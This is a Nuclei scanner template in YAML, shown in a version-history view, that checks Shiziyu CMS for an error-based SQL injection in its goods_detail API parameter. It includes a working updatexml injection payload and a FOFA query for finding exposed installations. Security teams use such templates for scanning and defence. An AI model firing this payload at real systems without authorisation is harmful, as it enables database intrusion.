nuclei-templates/http/vulnerabilities/shiziyu-cms/shiziyu-cms-apicontroller-s...

32 lines
760 B
YAML
Raw Normal View History

2023-08-18 03:22:06 +00:00
id: shiziyu-cms-apicontroller-sqli
info:
2023-09-08 11:25:00 +00:00
name: Shiziyu CMS Api Controller - SQL Injection
2023-08-18 03:22:06 +00:00
author: SleepingBag945
severity: high
description: |
2023-09-08 11:25:00 +00:00
Shiziyu CMS ApiController.class.php parameter filtering is not rigorous, resulting in SQL injection vulnerability.
2023-08-18 03:22:06 +00:00
metadata:
2023-09-08 11:25:00 +00:00
max-request: 1
verified: true
2023-08-18 03:22:06 +00:00
fofa-query: body="/seller.php?s=/Public/login"
tags: sqli
2023-09-08 11:25:00 +00:00
variables:
num: "999999999"
2023-08-18 03:22:06 +00:00
2023-09-08 11:25:00 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5({{num}}),0x7e),1)"
2023-08-18 03:22:06 +00:00
2023-09-08 11:25:00 +00:00
matchers-condition: and
2023-08-18 03:22:06 +00:00
matchers:
2023-09-08 11:25:00 +00:00
- type: word
part: body
words:
- 'c8c605999f3d8352d7bb792cf3fdb25'
- type: status
status:
- 404